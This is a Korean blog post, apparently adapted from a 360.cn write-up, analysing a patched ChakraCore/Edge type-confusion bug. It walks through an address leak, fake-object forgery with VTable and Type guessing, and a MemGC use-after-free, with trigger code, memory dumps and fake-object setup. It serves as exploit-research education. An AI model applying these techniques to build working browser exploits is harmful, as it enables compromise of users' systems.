[Browser Exploit] 3 Step To Exploit Edge



출처: http://blogs.360.cn/blog/three-roads-lead-to-rome-2/

출처: https://github.com/Microsoft/ChakraCore

 

설명하는 edge 취약점은 이미 해결된 취약점입니다.

다음은 Bug trigger code 입니다. __proto__ 구성은 함수에만 해당되는 속성입니다. JS에서는 함수를 정의하고 파싱단계에 들어가면 내부적으로 수행되는 작업이 존재합니다.

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)

arr.length = 24
arr.__proto__ = new Proxy({}, { getPrototypeOf:function() { return intarr } })
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()

 

아래의 그림처럼 prototype 객체의 멤버 중 constructor 속성은 함수를 참조하는 구조를 가지게 됩니다.

 

 

 

속성이 하나도 없는 func라는 함수가 파싱단계로 들어가게 되면 func() prototype 속성은 func prototype object를 참조하게 됩니다.

function func() {}

 

 

아래와 같이 선언을 하게 되었을 때 서로의 구조를 나타내면 밑의 그림과 같습니다.

function func(){}

var one = new func();

var two = new func();

 

 

 

func 함수가 선언될 때 해당 객체의 prototype 속성은 prototype object를 가리키게 되고 object의 Constructor 속성은 func 함수 객체를 참조하게 됩니다. 그 이후 같은 object들을 new로 선언했을 때 각 객체의 __proto__속성은 prototype object를 참조하게 됩니다.

 

prototype object란 함수를 정의하면 다른 곳에 정의되는, 즉 다른 객체의 원형이 되는 객체입니다. 모든 객체는 prototype 객체에 접근할 수 있고 동적으로 런타임 때 멤버를 추가할 수 있습니다.

 

다음은 prototype 속성을 이용해 멤버를 추가한 것입니다. prototype object에 getType() 이라는 함수를 추가하게 되면 멤버를 추가하기 전 생성된 객체에서도 추가된 멤버를 사용할 수 있습니다.

function func() {}

var one = new func();

var two = new func();

func.prototype.getType = function() {

	return "hi";

}

console.log(one.getType());

 

다시 bug code를 보면 arr.__proto__를 Proxy object로 바꾸게 됩니다.

proxy 객체는 target과 handler를 정해주게 됩니다. 모든 내부 method 호출을 target 객체로 전달하게 됩니다. 누군가 proxy.[func]() method를 호출하게 되면 target.[func]() method가 그 결과를 반환하게 됩니다.

arr.__proto__ = new Proxy({}, getPrototypeOf:functioon() { return intarr }})

->Proxy(target, hadler)

 

proxy.color = "balck";

예를 들어 위와 같이 정의되어 있는 가정하에 target.color라고 실행을 시키면 “black”이 return됩니다. bug code에서는 target이 정해져있지 않고 arr.__proto__를 proxy 객체로 바꾼 것입니다. 그리고 reverse로 인해서 arr.__proto__의 구조를 뒤바꿨습니다.

 

reverse() method를 호출하게 되면 EntryReverse가 실행됩니다.

그리고 EntryReverse 내부적으로 ReverseHelper를 반환하게 됩니다.

 

 

 

ReverseHelper 내부에서는 FillFromPrototypes 를 호출하게 됩니다.

 

 

 

 

위의 과정을 참조하는 곳은 굉장히 많고 EntryReverse는 그 과정 중 하나입니다.

 

설명한대로 Proxy 객체는 target과 handler를 필요로 합니다. Proxy는 여러 유형의 이벤트들을 모니터링할 수 있고 일부 조작을 인터럽트 시키고 process중간에 작업을 수행할 수 있으며 우리가 제어하는 일부 데이터를 반환할 수 있습니다.

 

Bug trigger code에서 Proxy객체의 handler로 getPrototypeOf 를 스캐닝하고 있을 것입니다. 만약 getPrototypeOf를 사용한다면 Proxy object는 자체정의된 함수로 반환해줍니다. prototype = prototype -> GetPrototype();에서 GetPrototype은 내부적으로 getPrototypeOf 를 호출하고 이는 자체정의된 callback함수로 prototype변수에 반환됩니다.

arr.length = 24

arr.__proto__ = new Proxy({}, getPrototypeOf:function() { return intarr }})

arr.__proto__reverse = Array.prototype.reverse

 

ForEachOwnMissingArrayIndexOfObject의 인자 전달과 처음 초기화 과정을 보면 JavascriptArray pointer arr가 인자로 넘어온 obj로 초기화됩니다. 하지만 자체 정의된 JS callback 함수에서 JavascriptArray 유형의 배열이 아니라 JavascriptNativeFloatArray, JavascriptCopyOnAccessNativeIntArray, ES5Array 등의 배열이라면 type confusion의 문제가 일어날 수 있습니다.

 

 

 

 

그리고 e 객체는 초기화된 arr 를 사용하게 됩니다. 그리고 e.GetItem<Var>()을 이용해 항목을 가져오게 됩니다.

 

 

  • Array_X, Array_Y 를 선언합니다.

  • e.GetItem<Var>() 으로 Array_X에 Array_Y의 항목을 넣습니다.

  • 두 객체의 배열을 어떤 유형으로든 설정할 수 있습니다.

문제를 다시 정의하자면 위의 항목과 같습니다.

 

또한 전체적인 방법을 정리하면 다음과 같습니다.

  • Fake Object를 만든다 -> Array_X를 JavascriptArray로, Array_Y는 제어가능한 JavascriptNativeIntArray, JavascriptNativeFloatArray로 설정합니다. 그 이후, Array_X[x]에서 어떤 주소를 가리킬 수 있는 가짜 객체를 만들 수 있습니다.

  • 범위 밖 읽기 -> Array_X를 JavascriptArray, Array_Y를 JavascriptNativeIntArray 유형으로 설정한 후 JavascriptNativeIntArray의 요소 크기는 4bytes이므로 Var type을 통해 읽어들인 4bytes의 data는 읽을 수 있는 범위 밖의 data입니다.

이제 해당 취약점을 exploit 하는 방법 3단계를 설명하겠습니다.

 

Step 1.

다음 bug code는 이미 패치된 bug code 이지만 모든 객체의 주소를 leak 할 수 있는 code입니다.

var x = [];
var y = {};
var leakarr = new Array(1, 2, 3);

y.__defineGetter__("1", function(){x[2] = leakarr; return 0xcafebabe});

x[0] = 1.1;
x[2] = 2.2;

x.__proto__ = y;

function leak() {
	alert(arguments[2]);
}

leak.apply(1, x);

 

그리고 정확한 주소에서 가짜 객체를 만들려면 두 가지 조건이 충족되어야 합니다.

  • 완전히 제어 가능한 buffer 주소가 필요

  • VTable의 주소 또는 Chakra module의 base 주소가 필요

첫 번째 조건의 경우 segment가 앞에 위치한 배열을 선택할 수 있습니다.

0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777

 

따라서 Buffer의 주소는 leak_address+0x58 이지만 초기 요소의 수는 SparseArraySegmentBase::HEAD_CHUNK_SIZE를 넘을 수 없기 때문에 이 방법에는 한계가 있습니다.

className* JavascriptArray::New(uint32 length, …)

if (length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)

{
	return RecyclerNew(recycler, className, length, arrayType);
}

 

두 번째 조건의 경우 첫 번째 조건을 만족한 전제하에 실행할 수 있습니다.

 

가짜 UInt64Number Object를 만들고 parseInt의 인터페이스를 호출해 JavascriptConversion::ToString  함수를 실행시켜 다음 객체의 가상 테이블을 읽은 다음 chakra의 base address를 leak할 수 있습니다.

JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…

case TypeIds_UInt64Number:
{
	unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();

	if (!TaggedInt::IsOverflow(value)) {
		return scriptContext->GetIntegerString((uint)value);
	}
	else
	{
		return JavascriptUInt64Number::ToString(aValue, scriptContext);
	}
}

 

heap fengshui와 fake UInt64Number를 통해 VTable주소값을 leak할 수 있습니다.

 

 

Step 2.

JavaScript의 Array 객체는 auxSlot 필드가 있는 DynamicObject에 의해서 상속됩니다. 일반적인 경우 auxSlots은 NULL상태를 유지합니다.

 

A array에 one이라는 객체 symbol값의 index에 4를 넣었습니다. 

var A = [1, 2, 3];
A[Symbol('one')] = 4;

 

그러면 auxSlots의 값이 NULL에서 바뀌게 됩니다. 

000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960

 

auxSlots이 가리키는 값을 보면 0x4가 들어가 있습니다. 

000002e7`4bfca5c0 00010000`00000004 00000000`00000000

 

이러한 구조에 따르면 다음 계획을 실행할 수 있습니다. 

  • Memory에 Array를 연속적으로 할당하고 해당 auxSlots을 활성화 합니다.

  • 범위 밖에 있는 다음 Array의 auxSlots을 읽어 현재 Array_X에 넣습니다.

  • Array_X[x]는 가짜 객체가 되고 객체 data는 auxSlots이며 임의로 조작 가능합니다.

만약 data leak을 하지 못하는 상황에서 객체 위조를 하려고 한다면 VTable과 Type형에 대한 pointer정보가 필요합니다.

 

VTable의 경우 함수를 일정하게 열거해 놓으므로 VTable의 값은 어느정도 추측이 가능합니다.

 

IsDirectAccessArray에서 aValue가 가리키는 data가 VTable인지 아닌지를 BOOL형태의 반환값으로 알려주게 됩니다.

 

 

 

IsDirectAccessArray는 JavascriptArray::ConcatArgs에서 참조됩니다. code의 흐름을 살펴보면 if문의 내부에서 IsDirectAccessArray의 결과에 따라 다른 분기로 이동하게 됩니다. 이 때 JS 계층에서 IsDirectAccessArray의 반환상태를 간접적으로 감지할 수 있습니다.

 

 

 

해당 과정에 대한 의사코드는 다음과 같습니다.

for (addr = Vtable_offset, addr < 0xffffffffffffffff; addr += 0x10000) { auxSlots[0] = addr if (guess()) { chakra_module_base = addr - Vtable_offset break } }

 

코드를 살펴보면 guess()로 해당 주소가 VTable인지 아닌지를 검사하고 module 내부 VTable의 offset을 이용해 chakra module base address를 구하는 방식입니다.

 

다음으로 Type pointer를 이용해 Type object를 위조하는 것입니다.
typeId 는 Object유형을 지정하는 중요한 필드입니다.

 

 

 

 

우리는 이미 chakra base address를 알고있기 때문에 29가 module 내 어디에 있는지만 알면 됩니다.

TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,

#if ENABLE_COPYONACCESS_ARRAY
TypedIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,

 

아래와 같은 식을 사용해 변조 할 Type object의 주소를 구하면 됩니다.

Type_addr = chakra_modlue_base + value_29_offset

 

 

Step 3.

현재 Edge Browser의 주요 Object들은 모두 MemGC에 의해 관리됩니다. 이전 버전에서는 reference counter를 이용했지만 MemGC는 Object간 종속성을 검사해 UAF를 막습니다.

 

Addr_A는 GC Object의 시작을 가리키고 Addr_B는 Object 내부의 일부 위치를 가리키게 됩니다.

 

 

 

Object2는 MemGC에 의해 관리되는 또 다른 Object이며 Object1의 head를 가리키는 Addr_A 필드를 가지고 있습니다. 이 부분에서 Object1을 free시키고 CollectGarbage를 trigger시키면 실제로 free되지 않은 것을 알 수 있습니다.

 

 

 

그런데 Object2의 참조필드가 Object 1의 내부를 가리키는 Addr_B라면 현재 Object1을 해제시킬 수 있습니다. 그리고 fengshui과정을 거치면 Object2를 이용해 Object1의 내용에 접근하게 되면 UAF를 일으킬 수 있습니다.

 

 

 

UAF의 과정은 다음과 같습니다.

  • MemGC로 관리되는 Object1 을 할당합니다.

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777
  • MemGC로 관리되는 Object2를 할당합니다. 그리고 이 object는 Object1+x의 주소를 가리키는 필드를 가집니다.

0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002
  • Object1을 free시키고 CollectGarbage를 trigger합니다. 그렇다면 block이 freelist로 추가되는 것을 볼 수 있습니다.

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
  • Object2를 사용해 free된 memory를 조작합니다.

0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8

 

이러한 bug를 UAF로 이용하려면 두 가지 작업이 먼저 수행되어야 합니다.

  • 객체의 "Internal pointer"를 찾아야 합니다.

  • Pointer를 캐시해 JS layer에서 참조할 수 있게 합니다.

1의 경우 segment가 head옆에 있는 배열을 선택할 수 있습니다.

000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //point to the addr inside an array
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777

 

2의 경우, 공격자는 bound out read를 이용해 pointer를 가져와 제어 가능한 Array에 넣을 수 있습니다. NativeIntArray, NativeFloatArray가 조작 가능하더라도 적합하지 않습니다. 그리고 정보 leak이 가능하지 않으므로 어떤 data type을 넣을지 알 수 없습니다.

 

여기서 우리가 JavaScriptArray를 선택한 이유를 알게 됩니다.

 

초기 객체의 상태입니다. 이 memory주소는 JavaScriptArray에 의해 점유됩니다.

0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777

 

 

spray 후의 JavaScriptArray의 상태입니다. Var Array는 객체를 저장할 수 있기 때문에 spray가 가능합니다. 그리고 이러한 점은 더 쉽게 fake object를 만들 수 있게 합니다.

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000

 

 

out bound read를 사용해 바로 다음 배열의 3개 필드를 읽습니다. (VTable, type, segment)

var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]

 

 

UAF 상태를 만들고 fakeobj_vararr을 사용해서 해제된 내용을 이용합니다.

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000

 

 

Fake Object를 만듭니다. JavascriptNativeIntArray_segment는 우리가 캐시한 ” 내부 포인터”입니다. 따라서 fakeobj_vararr의 다섯번째 요소 위치를 가리킵니다.

fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234 //array’s length field
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr

 

 

alert(JavascriptNativeIntArray_segment.length)를 실행하게 되면 의도한 값이 실행됩니다.

'System > Windows' 카테고리의 다른 글

[Window Application Exploit] ROP2  (0) 2017.09.18
[Window Application Exploit] ROP  (0) 2017.09.15
[Kernel] Kernel Shellcode Analysis  (0) 2017.09.13
[Kernel] Kernel Shellcode  (0) 2017.09.11
[Kernel] Kernel Pool Attack  (0) 2017.09.08

이 글을 공유하기

댓글